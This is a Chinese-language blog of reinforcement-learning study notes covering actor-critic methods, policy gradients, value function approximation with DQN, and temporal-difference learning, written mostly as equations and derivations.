Maxton‘s Blog

RL学习笔记：Actor-Critic算法

Sun, 22 Feb 2026 21:40:00 GMT

Actor-critic

Actor 负责策略更新（Policy update），即决定在给定状态下采取什么动作。
Critic 负责策略评估（Policy evaluation）或价值估计（Value estimation），用于判断 Actor 所选策略的优劣。

QAC (Q-Actor-Critic)

$$ \begin{aligned} &\text{Critic (价值更新):} \ &w_{t+1} = w_t + \alpha_w [r_{t+1} + \gamma q(s_{t+1}, a_{t+1}, w_t) - q(s_t, a_t, w_t)] \nabla_w q(s_t, a_t, w_t) \ &\text{Actor (策略更新):} \ &\theta_{t+1} = \theta_t + \alpha_\theta \nabla_\theta \ln \pi(a_t | s_t, \theta_t) q(s_t, a_t, w_{t+1}) \end{aligned} $$

A2C（Advantage Actor-Critic）

引入基线函数（baseline）来减少方差。

$$ \begin{aligned} \nabla_{\theta} J(\theta) &= \mathbb{E}{S \sim \eta, A \sim \pi} \left[ \nabla{\theta} \ln \pi(A|S, \theta_t) q_{\pi}(S, A) \right] \ &= \mathbb{E}{S \sim \eta, A \sim \pi} \left[ \nabla{\theta} \ln \pi(A|S, \theta_t) (q_{\pi}(S, A) - b(S)) \right] \end{aligned} $$

要使上述等式成立，需满足：

$$ \mathbb{E}{S \sim \eta, A \sim \pi} \left[ \nabla{\theta} \ln \pi(A|S, \theta_t) b(S) \right] = 0 $$

具体推导如下：

$$ \begin{aligned} \mathbb{E}{S \sim \eta, A \sim \pi} \left[ \nabla{\theta} \ln \pi(A|S, \theta_t) b(S) \right] &= \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \pi(a|s, \theta_t) \nabla_{\theta} \ln \pi(a|s, \theta_t) b(s) \ &= \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \nabla_{\theta} \pi(a|s, \theta_t) b(s) \ &= \sum_{s \in \mathcal{S}} \eta(s) b(s) \nabla_{\theta} \sum_{a \in \mathcal{A}} \pi(a|s, \theta_t) \ &= \sum_{s \in \mathcal{S}} \eta(s) b(s) \nabla_{\theta} 1 = 0 \end{aligned} $$

基线函数主要用于控制方差，因此目标是找到一个最优的基线函数使得方差最小化。最优的基线函数为：

$$ b^*(s) = \frac{\mathbb{E}{A \sim \pi} [|\nabla{\theta} \ln \pi(A|s, \theta_t)|^2 q(s, A)]}{\mathbb{E}{A \sim \pi} [|\nabla{\theta} \ln \pi(A|s, \theta_t)|^2]} $$

由于该形式计算过于复杂，实际应用中通常会去掉权重项 $\mathbb{E}{A \sim \pi} [|\nabla{\theta} \ln \pi(A|s, \theta_t)|^2]$，即近似为：

$$ b(s) = \mathbb{E}{A \sim \pi} [q(s, A)] = v{\pi}(s) $$

当 $b(s) = v_\pi(s)$ 时：

梯度上升算法为：

$$ \begin{aligned} \theta_{t+1} &= \theta_t + \alpha \mathbb{E} \left[ \nabla_\theta \ln \pi(A|S, \theta_t) [q_\pi(S, A) - v_\pi(S)] \right] \ &\doteq \theta_t + \alpha \mathbb{E} \left[ \nabla_\theta \ln \pi(A|S, \theta_t) \delta_\pi(S, A) \right] \end{aligned} $$

其中：

$$ \delta_\pi(S, A) \doteq q_\pi(S, A) - v_\pi(S) $$

该项被称为优势函数（Advantage function）。根据 $v_{\pi}(S)$ 的定义，它是状态 $S$ 下所有动作价值的期望。如果某个动作的 $q$ 值大于平均值 $v$，则说明该动作具备“优势”。

该算法的随机版本为：

$$ \begin{aligned} \theta_{t+1} &= \theta_t + \alpha \nabla_\theta \ln \pi(a_t|s_t, \theta_t) [q_t(s_t, a_t) - v_t(s_t)] \ &= \theta_t + \alpha \nabla_\theta \ln \pi(a_t|s_t, \theta_t) \delta_t(s_t, a_t) \end{aligned} $$

此外，该算法可以重新表示为：

$$ \begin{aligned} \theta_{t+1} &= \theta_t + \alpha \nabla_\theta \ln \pi(a_t|s_t, \theta_t) \delta_t(s_t, a_t) \ &= \theta_t + \alpha \frac{\nabla_\theta \pi(a_t|s_t, \theta_t)}{\pi(a_t|s_t, \theta_t)} \delta_t(s_t, a_t) \ &= \theta_t + \underbrace{\alpha \left( \frac{\delta_t(s_t, a_t)}{\pi(a_t|s_t, \theta_t)} \right)}{\text{步长 (step size)}} \nabla\theta \pi(a_t|s_t, \theta_t) \end{aligned} $$

更新步长与相对值 $\delta_t$ 成正比，而非绝对值 $q_t$，这在逻辑上更具合理性。
它依然能很好地平衡探索与利用（Exploration and Exploitation）。

通过 TD 误差进行近似：

$$ \delta_t = q_t(s_t, a_t) - v_t(s_t) \approx r_{t+1} + \gamma v_t(s_{t+1}) - v_t(s_t) $$

这种近似是合理的，因为：

$$ \mathbb{E}[q_\pi(S, A) - v_\pi(S)|S = s_t, A = a_t] = \mathbb{E}[R_{t+1} + \gamma v_\pi(S_{t+1}) - v_\pi(S_t)|S = s_t, A = a_t] $$

优点：只需一个神经网络来近似 $v_\pi(s)$，而不需要维护两个网络分别近似 $q_\pi(s, a)$ 和 $v_\pi(s)$。

重要性采样和 Off-policy

Importance sampling technique

注意到：

$$ \mathbb{E}{X \sim p_0}[X] = \sum_x p_0(x)x = \sum_x p_1(x) \underbrace{\frac{p_0(x)}{p_1(x)} x}{f(x)} = \mathbb{E}_{X \sim p_1}[f(X)] $$

因此，可以通过估计 $\mathbb{E}{X \sim p_1}[f(X)]$ 来估计 $\mathbb{E}{X \sim p_0}[X]$。
估计方法如下：

令：

$$ \bar{f} \doteq \frac{1}{n} \sum_{i=1}^n f(x_i), \quad \text{其中 } x_i \sim p_1 $$

那么：

$$ \mathbb{E}{X \sim p_1}[\bar{f}] = \mathbb{E}{X \sim p_1}[f(X)] $$

$$ \text{var}{X \sim p_1}[\bar{f}] = \frac{1}{n} \text{var}{X \sim p_1}[f(X)] $$

所以，$\bar{f}$ 是 $\mathbb{E}_{X \sim p_0}[X]$ 的良好近似：

$$ \mathbb{E}{X \sim p_0}[X] \approx \bar{f} = \frac{1}{n} \sum{i=1}^n f(x_i) = \frac{1}{n} \sum_{i=1}^n \frac{p_0(x_i)}{p_1(x_i)} x_i $$

比例 $\frac{p_0(x_i)}{p_1(x_i)}$ 被称为重要性权重（Importance weight）。
如果 $p_1(x_i) = p_0(x_i)$，重要性权重为 1，$\bar{f}$ 退化为标准算术平均值。
如果 $p_0(x_i) > p_1(x_i)$，说明样本 $x_i$ 在分布 $p_0$ 中出现的频率高于 $p_1$。大于 1 的重要性权重会增强该样本在期望计算中的比重。

目标函数定义为：

$$ J(\theta) = \sum_{s \in \mathcal{S}} d_\beta(s) v_\pi(s) = \mathbb{E}{S \sim d\beta} [v_\pi(S)] $$

其梯度为：

$$ \nabla_\theta J(\theta) = \mathbb{E}{S \sim \rho, A \sim \beta} \left[ \frac{\pi(A | S, \theta)}{\beta(A | S)} \nabla\theta \ln \pi(A | S, \theta) q_\pi(S, A) \right] $$

离轨策略（Off-policy）梯度对基准函数 $b(s)$ 同样具有不变性：

$$ \nabla_{\theta} J(\theta) = \mathbb{E}{S \sim \rho, A \sim \beta} \left[ \frac{\pi(A|S, \theta)}{\beta(A|S)} \nabla{\theta} \ln \pi(A|S, \theta) (q_{\pi}(S, A) - b(S)) \right] $$

为减小估计方差，同样选择基准函数 $b(S) = v_{\pi}(S)$，得到：

$$ \nabla_{\theta} J(\theta) = \mathbb{E} \left[ \frac{\pi(A|S, \theta)}{\beta(A|S)} \nabla_{\theta} \ln \pi(A|S, \theta) (q_{\pi}(S, A) - v_{\pi}(S)) \right] $$

对应的随机梯度上升算法为：

$$ \theta_{t+1} = \theta_t + \alpha_{\theta} \frac{\pi(a_t|s_t, \theta_t)}{\beta(a_t|s_t)} \nabla_{\theta} \ln \pi(a_t|s_t, \theta_t) (q_t(s_t, a_t) - v_t(s_t)) $$

类似于同轨（On-policy）情况：

$$ q_t(s_t, a_t) - v_t(s_t) \approx r_{t+1} + \gamma v_t(s_{t+1}) - v_t(s_t) \doteq \delta_t(s_t, a_t) $$

算法最终形式变为：

$$ \theta_{t+1} = \theta_t + \alpha_{\theta} \frac{\pi(a_t|s_t, \theta_t)}{\beta(a_t|s_t)} \nabla_{\theta} \ln \pi(a_t|s_t, \theta_t) \delta_t(s_t, a_t) $$

重写后凸显步长关系：

$$ \theta_{t+1} = \theta_t + \alpha_{\theta} \left( \frac{\delta_t(s_t, a_t)}{\beta(a_t|s_t)} \right) \nabla_{\theta} \pi(a_t|s_t, \theta_t) $$

Deterministic Actor-Critic (DPG)

策略表示方式的演变：

在此之前，通用策略记作 $\pi(a|s, \theta) \in [0, 1]$，它通常是随机的（Stochastic）。
现在引入确定性策略（Deterministic policy），记作：

$$ a = \mu(s, \theta) \doteq \mu(s) $$

$\mu$ 是从状态空间 $\mathcal{S}$ 到动作空间 $\mathcal{A}$ 的直接映射。
实践中 $\mu$ 常由神经网络参数化表示，输入为 $s$，输出直接为动作 $a$，参数为 $\theta$。

目标函数的梯度为：

$$ \begin{aligned} \nabla_{\theta} J(\theta) &= \sum_{s \in \mathcal{S}} \rho_{\mu}(s) \nabla_{\theta} \mu(s)\left.\left(\nabla_{a} q_{\mu}(s, a)\right)\right|{a=\mu(s)} \ &= \mathbb{E}{S \sim \rho_{\mu}}\left[\left.\nabla_{\theta} \mu(S)\left(\nabla_{a} q_{\mu}(S, a)\right)\right|_{a=\mu(S)}\right] \end{aligned} $$

基于确定性策略梯度，最大化 $J(\theta)$ 的梯度上升算法为：

$$ \theta_{t+1} = \theta_t + \alpha_\theta \mathbb{E}{S \sim \rho\mu} \left[ \nabla_\theta \mu(S) \left( \nabla_a q_\mu(S, a) \right) |_{a=\mu(S)} \right] $$

对应的随机梯度上升单步更新为：

$$ \theta_{t+1} = \theta_t + \alpha_\theta \nabla_\theta \mu(s_t) \left( \nabla_a q_\mu(s_t, a) \right) |_{a=\mu(s_t)} $$

整体架构更新逻辑如下：

TD 误差：

$$ \delta_t = r_{t+1} + \gamma q(s_{t+1}, \mu(s_{t+1}, \theta_t), w_t) - q(s_t, a_t, w_t) $$

Critic (价值更新)：

$$ w_{t+1} = w_t + \alpha_w \delta_t \nabla_w q(s_t, a_t, w_t) $$

Actor (策略更新)：

$$ \theta_{t+1} = \theta_t + \alpha_\theta \nabla_\theta \mu(s_t, \theta_t) \left( \nabla_a q(s_t, a, w_{t+1}) \right) |_{a=\mu(s_t)} $$

这是一种离轨策略（Off-policy实现。数据收集策略（行为策略 $\beta$）通常不同于当前正在优化的目标策略 $\mu$。
为了保证探索性，行为策略 $\beta$ 通常设定为目标策略加上噪声，即 $\beta = \mu + \text{noise}$。
关于 $q(s, a, w)$ 的函数近似选择：
- 线性函数：$q(s, a, w) = \phi^T(s, a)w$，其中 $\phi(s, a)$ 为人工设计的特征向量。
- 神经网络：当使用深度神经网络近似价值和策略时，即演变为深度确定性策略梯度（DDPG, Deep Deterministic Policy Gradient算法。

RL学习笔记：策略梯度方法

Sun, 22 Feb 2026 16:30:00 GMT

策略梯度方法

在策略梯度方法中，策略被以一种参数函数的形式呈现。

$$ \pi(a|s,\theta) $$

其中 $\theta \in \mathbb{R}^m$ 是参数向量。

该函数可以是一个神经网络，其输入为状态 $s$，输出是采取每个动作的概率，参数为 $\theta$。
当状态空间较大时，表格表示法（tabular representation）在存储和泛化方面的效率较低，函数近似能有效解决这一问题。
函数表示通常也写作 $\pi(a, s, \theta)$、$\pi_\theta(a|s)$ 或 $\pi_\theta(a, s)$。

基本思想

设定一个目标函数（例如 $J(\theta)$）来评估策略的表现。

使用梯度上升的方法来更新参数，寻找最优策略：

$$ \theta_{t+1} = \theta_t + \alpha \nabla_\theta J(\theta_t) $$

目标函数 (Metrics)

1. 状态价值的加权平均

$$ \bar{v}{\pi} = \sum{s \in \mathcal{S}} d(s) v_{\pi}(s) $$

$\bar{v}_{\pi}$ 是一个加权平均值。
$d(s) \ge 0$ 是状态 $s$ 的权重，可以理解为状态出现的概率分布。
期望形式表示为：$\bar{v}{\pi} = \mathbb{E}[v{\pi}(S)]$。

其向量形式为：

$$ \bar{v}{\pi} = d^T v{\pi} $$

其中 $v_{\pi} \in \mathbb{R}^{|\mathcal{S}|}$ 且 $d \in \mathbb{R}^{|\mathcal{S}|}$。

在幕式（Episodic）任务中，目标函数可以定义为从初始状态出发的期望回报：

$$ \begin{aligned} J(\theta) &= \mathbb{E} \left[ \sum_{t=0}^{\infty} \gamma^t R_{t+1} \right] \ &= \sum_{s \in \mathcal{S}} d_0(s) v_\pi(s) \end{aligned} $$

关于权重 $d(s)$ 的设定：

与策略 $\pi$ 无关： 在幕式任务中，通常将 $d$ 设定为初始状态分布 $d_0$。例如，认为所有状态同等重要时 $d_0(s) = 1/|\mathcal{S}|$，或者只关心特定初始状态 $s_0$ 时 $d_0(s_0) = 1$。
与策略 $\pi$ 有关： 在持续性（Continuing）任务中，$d$ 依赖于策略 $\pi$，通常选择稳态分布 $d_\pi$。稳态分布满足 $d_{\pi}^T P_{\pi} = d_{\pi}^T$，其中 $P_{\pi}$ 是状态转移矩阵。

2. 平均单步奖励 (Average Reward)

$$ \bar{r}\pi = \sum{s \in \mathcal{S}} d_\pi(s) r_\pi(s) = \mathbb{E}[r_\pi(S)] $$

其中状态 $S \sim d_\pi$。状态 $s$ 下的期望即时奖励为：

$$ r_\pi(s) = \sum_{a \in \mathcal{A}} \pi(a|s) r(s, a) $$

权重 $d_\pi$ 是平稳分布。
$\bar{r}_\pi$ 是单步即时奖励的加权平均值。

平均奖励也可以定义为长期奖励的极限形式：

$$ \begin{aligned} \lim_{n \to \infty} \frac{1}{n} \mathbb{E} \left[ \sum_{k=1}^{n} R_{t+k} \mid S_t = s_0 \right] &= \sum_{s \in \mathcal{S}} d_\pi(s) r_\pi(s) = \bar{r}_\pi \end{aligned} $$

此时初始状态 $s_0$ 的影响在极限下被消除，两种定义方式等价。

指标对比：

上述指标均依赖于策略 $\pi$，因此本质上都是参数 $\theta$ 的函数。
直观来看，$\bar{r}\pi$ 更加关注即时奖励，而 $\bar{v}\pi$ 则更关注长期回报。
在包含折扣因子 $\gamma$ 的情况下，二者存在数学联系：$\bar{r}\pi = (1 - \gamma) \bar{v}\pi$。

策略梯度定理 (Gradients of the Metrics)

无论目标函数是 $\bar{v}{\pi}$ 还是 $\bar{r}{\pi}$，其梯度都可以统一表示为以下形式（成比例）：

$$ \nabla_{\theta} J(\theta) \propto \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \nabla_{\theta} \pi(a|s, \theta) q_{\pi}(s, a) $$

其中 $\eta$ 是状态的分布权重。

梯度的推导与期望转化

1. 核心目标： 将复杂的“状态-动作双重求和”形式，转化为允许通过数据采样来近似计算的“数学期望”形式。

2. 对数求导技巧 (Log-Derivative Trick)： 根据微积分法则，对策略函数取对数并求梯度：

$$ \nabla_{\theta} \ln \pi(a|s, \theta) = \frac{1}{\pi(a|s, \theta)} \nabla_{\theta} \pi(a|s, \theta) $$

移项后得到：

$$ \nabla_{\theta} \pi(a|s, \theta) = \pi(a|s, \theta) \nabla_{\theta} \ln \pi(a|s, \theta) $$

这一步“无中生有”地构造出了概率项 $\pi(a|s, \theta)$，是转化为期望定义的先决条件。

3. 公式代入： 将上述结果代入梯度公式：

$$ \nabla_{\theta} J(\theta) \propto \sum_{s \in \mathcal{S}} \eta(s) \sum_{a \in \mathcal{A}} \pi(a|s, \theta) \nabla_{\theta} \ln \pi(a|s, \theta) q_{\pi}(s, a) $$

4. 转化为数学期望： 上式包含两层概率加权求和（外层基于状态分布 $\eta(s)$，内层基于动作概率 $\pi$），等价于对随机变量 $S$ 和 $A$ 的期望：

$$ \nabla_{\theta} J(\theta) = \mathbb{E}[\nabla_{\theta} \ln \pi(A|S, \theta) q_{\pi}(S, A)] $$

5. 实际意义： 完成转化后，算法无需遍历所有状态和动作。智能体只需在环境中依据当前策略采样，收集到的轨迹数据自然符合该期望分布，从而可以通过单步采样来近似计算梯度。

如果利用采样来近似梯度，单步更新方向为：

$$ \nabla_{\theta} J \approx \nabla_{\theta} \ln \pi(a|s, \theta) q_{\pi}(s, a) $$

策略函数的参数化 (Softmax)

为了保证概率性质 $\pi(a|s, \theta) > 0$ 且概率和为 1，通常使用 Softmax 函数将实数偏好映射为概率。

对于向量 $x = [x_1, \dots, x_n]^T$：

$$ z_i = \frac{e^{x_i}}{\sum_{j=1}^n e^{x_j}} $$

其中 $z_i \in (0, 1)$ 且 $\sum_{i=1}^n z_i = 1$。

应用到策略函数中：

$$ \pi(a|s, \theta) = \frac{e^{h(s,a,\theta)}}{\sum_{a' \in \mathcal{A}} e^{h(s,a',\theta)}} $$

其中 $h(s, a, \theta)$ 是动作偏好函数，可由神经网络参数化。

REINFORCE 与策略优化算法

利用真实梯度最大化目标函数：

$$ \begin{aligned} \theta_{t+1} &= \theta_t + \alpha \nabla_{\theta} J(\theta) \ &= \theta_t + \alpha \mathbb{E}[\nabla_{\theta} \ln \pi(A|S, \theta_t) q_{\pi}(S, A)] \end{aligned} $$

在实际应用中，使用随机梯度进行更新：

$$ \theta_{t+1} = \theta_t + \alpha \nabla_{\theta} \ln \pi(a_t|s_t, \theta_t) q_{\pi}(s_t, a_t) $$

由于真实的动作价值函数 $q_\pi$ 是未知的，需要对其进行近似估算：

REINFORCE 算法： 使用蒙特卡洛方法，将完整的轨迹回报 $G_t$ 作为 $q_\pi(s_t, a_t)$ 的无偏估计进行梯度更新。
Actor-Critic 算法： 结合时间差分（TD）算法，训练一个价值函数网络来近似估算 $q_\pi(s_t, a_t)$。

结合对数求导公式的反向展开 $\nabla_{\theta} \ln \pi = \frac{\nabla_{\theta} \pi}{\pi}$，参数更新规则可以直观地改写为：

$$ \begin{aligned} \theta_{t+1} &= \theta_t + \alpha \nabla_{\theta} \ln \pi(a_t | s_t, \theta_t) q_t(s_t, a_t) \ &= \theta_t + \alpha \underbrace{\left( \frac{q_t(s_t, a_t)}{\pi(a_t | s_t, \theta_t)} \right)}{\beta_t} \nabla{\theta} \pi(a_t | s_t, \theta_t) \end{aligned} $$

即：

$$ \theta_{t+1} = \theta_t + \alpha \beta_t \nabla_{\theta} \pi(a_t | s_t, \theta_t) $$

这里的系数 $\beta_t$ 能够很好地平衡探索与利用：它与回报 $q_t$ 成正比（鼓励高回报动作），与动作概率 $\pi$ 成反比（赋予罕见动作更大的更新步长，从而鼓励探索）。

RL学习笔记：值函数近似

Sat, 21 Feb 2026 21:15:00 GMT

值函数近似 (Value Function Approximation)

线性函数形式

$$ \hat{v}(s, w) = as + b = \underbrace{[s, 1]}{\phi^T(s)} \underbrace{\begin{bmatrix} a \ b \end{bmatrix}}{w} = \phi^T(s)w $$

其中：

$w$ 是参数向量。
$\phi(s)$ 是状态 $s$ 的特征向量。
$\hat{v}(s, w)$ 关于 $w$ 是线性的。

非线性函数形式

$$ \hat{v}(s, w) = as^2 + bs + c = \underbrace{[s^2, s, 1]}{\phi^T(s)} \underbrace{\begin{bmatrix} a \ b \ c \end{bmatrix}}{w} = \phi^T(s)w $$

在这种情况下：

$w$ 和 $\phi(s)$ 的维度增加了，数值拟合可能会更准确。
虽然 $\hat{v}(s, w)$ 关于状态 $s$ 是非线性的，但它关于参数 $w$ 依然是线性的。非线性特征被包含在 $\phi(s)$ 的映射中。

状态价值估计 (State Value Estimation)

目标函数（Objective Function）：

$$ J(w) = \mathbb{E}[(v_\pi(S) - \hat{v}(S, w))^2] $$

核心目标是找到最优的参数 $w$ 来最小化该目标函数。
$S$ 是一个随机变量，其概率分布主要有以下两种考量：

平均分布 (Uniform Distribution)

$$ J(w) = \frac{1}{|\mathcal{S}|} \sum_{s \in \mathcal{S}} (v_\pi(s) - \hat{v}(s, w))^2 $$

平均分布平等对待所有状态。但实际强化学习中，某些状态的访问频率更高且更关键，因此这种分布往往不适用。

稳态分布 (Stationary Distribution)

稳态分布描述了马尔可夫过程的长期行为（Long-run behavior）。其中 ${d_{\pi}(s)}{s \in \mathcal{S}}$ 代表了状态分布的集合，满足 $d{\pi}(s) \geq 0$ 且 $\sum_{s \in \mathcal{S}} d_{\pi}(s) = 1$。

$$ J(w) = \sum_{s \in \mathcal{S}} d_{\pi}(s)(v_{\pi}(s) - \hat{v}(s, w))^2 $$

$d_{\pi}(s)$ 代表了在策略 $\pi$ 下处于特定状态的概率平稳值。使用稳态分布可以使得在常访问状态上的拟合误差更小。
稳态分布满足公式：

$$ d_{\pi}^T = d_{\pi}^T P_{\pi} $$

其中 $P_{\pi}$ 为贝尔曼方程中的状态转移矩阵。

优化方法

使用梯度下降法更新参数：

$$ w_{k+1} = w_k - \alpha_k \nabla_w J(w_k) $$

真实梯度的推导过程如下：

$$ \begin{aligned} \nabla_w J(w) &= \nabla_w \mathbb{E}[(v_\pi(S) - \hat{v}(S, w))^2] \ &= \mathbb{E}[\nabla_w (v_\pi(S) - \hat{v}(S, w))^2] \ &= 2\mathbb{E}[(v_\pi(S) - \hat{v}(S, w))(-\nabla_w \hat{v}(S, w))] \ &= -2\mathbb{E}[(v_\pi(S) - \hat{v}(S, w))\nabla_w \hat{v}(S, w)] \end{aligned} $$

在实际应用中，通常采用随机梯度下降（SGD）：

$$ w_{t+1} = w_t + \alpha_t (v_\pi(s_t) - \hat{v}(s_t, w_t)) \nabla_w \hat{v}(s_t, w_t) $$

其中 $s_t$ 是 $S$ 的一个采样。为了表达简洁，常数 $2$ 被吸收到学习率 $\alpha_t$ 中。由于真实的 $v_{\pi}(s_t)$ 未知，我们需要用估计值来替代它：

基于蒙特卡洛 (Monte Carlo)：使用一个回合中的折扣回报 $g_t$ 来近似 $v_{\pi}(s_t)$。

$$ w_{t+1} = w_t + \alpha_t (g_t - \hat{v}(s_t, w_t)) \nabla_w \hat{v}(s_t, w_t) $$

基于时序差分 (Temporal Difference, TD)：目标值 $r_{t+1}+\gamma\hat{v}(s_{t+1},w_t)$ 被视为 $v_{\pi}(s_t)$ 的近似。

$$ w_{t+1} = w_t + \alpha_t [r_{t+1} + \gamma \hat{v}(s_{t+1}, w_t) - \hat{v}(s_t, w_t)] \nabla_w \hat{v}(s_t, w_t) $$

TD-Linear 算法

在 $\hat{v}(s, w) = \phi^T(s)w$ 的线性情况下，梯度为：

$$ \nabla_w \hat{v}(s, w) = \phi(s) $$

将梯度代入 TD 算法：

$$ w_{t+1} = w_t + \alpha_t [r_{t+1} + \gamma \phi^T(s_{t+1}) w_t - \phi^T(s_t) w_t] \phi(s_t) $$

这就是带线性函数逼近的 TD 学习算法，简称为 TD-Linear。

线性近似的求导解析

在强化学习的线性近似中，$\hat{v}(s, w)$ 是一个标量（预测的状态价值），而 $w$ 是一个向量（权重参数）。

拆解线性表达式 对于列向量 $\phi(s) = [\phi_1, \dots, \phi_n]^T$ 和 $w = [w_1, \dots, w_n]^T$，内积为：

$$ \hat{v}(s, w) = \sum_{i=1}^{n} \phi_i w_i $$
对向量求导 $\nabla_w \hat{v}(s, w)$ 的本质是对标量函数按向量 $w$ 的每一个分量求偏导：

$$ \frac{\partial}{\partial w_i} (\phi_1 w_1 + \dots + \phi_n w_n) = \phi_i $$

拼合后即得到 $\nabla_w \hat{v}(s, w) = \phi(s)$。

表格表示 (Tabular Representation)

表格法是线性函数逼近的一个特例。设定状态 $s$ 的特征向量为独热编码（One-hot）向量：

$$ \phi(s) = e_s \in \mathbb{R}^{|\mathcal{S}|} $$

此时：

$$ \hat{v}(s, w) = e_s^T w = w(s) $$

即 $w(s)$ 提取了向量 $w$ 中对应状态 $s$ 的第 $s$ 个分量。

动作价值函数近似

Sarsa with Function Approximation

$$ w_{t+1} = w_t + \alpha_t \left[ r_{t+1} + \gamma \hat{q}(s_{t+1}, a_{t+1}, w_t) - \hat{q}(s_t, a_t, w_t) \right] \nabla_w \hat{q}(s_t, a_t, w_t) $$

Q-learning with Function Approximation

$$ w_{t+1} = w_t + \alpha_t \left[ r_{t+1} + \gamma \max_{a \in \mathcal{A}(s_{t+1})} \hat{q}(s_{t+1}, a, w_t) - \hat{q}(s_t, a_t, w_t) \right] \nabla_w \hat{q}(s_t, a_t, w_t) $$

深度 Q 网络 (Deep Q-Network, DQN)

DQN 使用神经网络来逼近非线性的 Q 函数。

损失函数 (Loss Function)：

$$ J(w) = \mathbb{E} \left[ \left( R + \gamma \max_{a \in \mathcal{A}(S')} \hat{q}(S', a, w) - \hat{q}(S, A, w) \right)^2 \right] $$

这实际上是在最小化贝尔曼最优误差 (Bellman Optimality Error)。定义目标值 $y$ 为：

$$ y \doteq R + \gamma \max_{a \in \mathcal{A}(S')} \hat{q}(S', a, w) $$

为了保证训练的稳定性，防止目标值随着网络更新不断移动，DQN 引入了双网络架构：

主网络 (Main Network)：$\hat{q}(S, A, w)$，负责当前动作的评估与参数实时更新。
目标网络 (Target Network)：$\hat{q}(S', A, w_T)$，提供稳定的目标值 $y$。

引入目标网络后的损失函数变为：

$$ J(w) = \mathbb{E} \left[ \left( R + \gamma \max_{a \in \mathcal{A}(S')} \hat{q}(S', a, w_T) - \hat{q}(S, A, w) \right)^2 \right] $$

在运算时，假定 $w_T$ 是常数（即不参与梯度计算），梯度下降仅更新 $w$：

$$ \nabla_w J(w) = -2\mathbb{E} \left[ \left( R + \gamma \max_{a \in \mathcal{A}(S')} \hat{q}(S', a, w_T) - \hat{q}(S, A, w) \right) \nabla_w \hat{q}(S, A, w) \right] $$

注：主网络的参数 $w$ 每隔一段时间会复制给目标网络 $w_T$。

经验回放 (Experience Replay)

动机：强化学习中收集的连续数据存在强相关性，直接用于训练容易导致网络不稳定。
机制：将智能体与环境交互产生的数据以 $(s, a, r, s')$ 的元组形式存入一个回放缓冲区（Replay Buffer）$\mathcal{B}$。
采样：在训练时，从缓冲区中抽取一批随机采样（Mini-batch）。这种抽取过程通常采用均匀分布（Uniform Distribution），从而打破数据之间的时间相关性，并显著提高数据的利用率。

RL学习笔记：时序差分算法

Fri, 20 Feb 2026 20:40:00 GMT

时序差分算法（Temporal-Difference learning）

TD learning of state values

该算法用于求解给定策略 $\pi$ 下的状态价值 (state value)。
本节主要介绍用于估计状态价值的基础 TD 算法（通常指 TD(0)）。

算法所需的数据/经验：

$(s_0, r_1, s_1, \dots, s_t, r_{t+1}, s_{t+1}, \dots)$ 或 ${(s_t, r_{t+1}, s_{t+1})}_t$，这些数据是按照给定策略 $\pi$ 与环境交互生成的。

TD 学习算法（TD learning algorithm）更新公式：

$$ v_{t+1}(s_t) = v_t(s_t) - \alpha_t(s_t) \big[ v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] \big], \quad (1) $$

$$ v_{t+1}(s) = v_t(s), \quad \forall s \neq s_t, \quad (2) $$

其中 $t = 0, 1, 2, \dots$。这里，$v_t(s_t)$ 是对状态价值 $v_\pi(s_t)$ 的当前估计；$\alpha_t(s_t)$ 是在时刻 $t$ 状态 $s_t$ 下的学习率。

在时刻 $t$，仅更新当前访问状态 $s_t$ 的价值，而未访问状态 $s \neq s_t$ 的价值保持不变。
在语境明确时，式 (2) 的保持步骤通常会被省略。

具体分析核心更新式：

$$ v_{t+1}(s_t) = v_t(s_t) - \alpha_t(s_t) \big[ v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] \big] $$

TD target : $\bar{v}t \doteq r{t+1} + \gamma v_t(s_{t+1})$
TD error: $\delta_t \doteq v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] = v_t(s_t) - \bar{v}_t$

算法的核心思想是使当前的估计值 $v_t(s_t)$ 不断向目标值 $\bar{v}_t$ 靠拢。推导如下：

$$ \begin{aligned} & v_{t+1}(s_t) = v_t(s_t) - \alpha_t(s_t) [v_t(s_t) - \bar{v}t] \ \implies & v{t+1}(s_t) - \bar{v}_t = v_t(s_t) - \bar{v}_t - \alpha_t(s_t) [v_t(s_t) - \bar{v}t] \ \implies & v{t+1}(s_t) - \bar{v}_t = [1 - \alpha_t(s_t)] [v_t(s_t) - \bar{v}t] \ \implies & |v{t+1}(s_t) - \bar{v}_t| = |1 - \alpha_t(s_t)| |v_t(s_t) - \bar{v}_t| \end{aligned} $$

当学习率 $\alpha_t(s_t) \in (0, 1)$ 时，显然 $0 < 1 - \alpha_t(s_t) < 1$，这意味着估计值与目标值之间的距离被逐步压缩，使其不断向目标收敛。

关于 TD error：

$$ \delta_t = v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] $$

它是两个连续时间步 (time steps) 价值估计之间的差异。
它反映了当前估计 $v_t$ 与真实价值 $v_\pi$ 之间的偏差 (deficiency)。为了证明这一点，定义真实价值下的误差：

$$ \delta_{\pi,t} \doteq v_\pi(s_t) - [r_{t+1} + \gamma v_\pi(s_{t+1})] $$

根据 $v_\pi(s_t)$ 的定义，对其取期望：

$$ \mathbb{E}[\delta_{\pi,t} | S_t = s_t] = v_\pi(s_t) - \mathbb{E}[R_{t+1} + \gamma v_\pi(S_{t+1}) | S_t = s_t] = 0 $$

由上式可知，算法的目标是在期望意义上满足贝尔曼方程。

如果 $v_t = v_\pi$，那么 $\delta_t$ 的期望应该为零。
反之，如果 $\delta_t$ 不为零，说明 $v_t$ 尚未收敛到 $v_\pi$。
TD error 在本质上可视为一种创新信息 (innovation)，代表从最新经验 $(s_t, r_{t+1}, s_{t+1})$ 中获取的能够用于修正当前认知的反馈。

上述过程主要用于策略评估 (Policy Evaluation)。TD 算法的优势在于无需环境的完整模型（转移概率等），就能直接通过采样数据近似计算贝尔曼方程。

Bellman expectation equation

策略 $\pi$ 的状态价值定义为：

$$ v_\pi(s) = \mathbb{E}[R + \gamma G | S = s], \quad s \in \mathcal{S} $$

其中 $G$ 是折扣回报 (discounted return)。由于：

$$ \mathbb{E}[G | S = s] = \sum_{a} \pi(a|s) \sum_{s'} p(s'|s, a) v_\pi(s') = \mathbb{E}[v_\pi(S') | S = s] $$

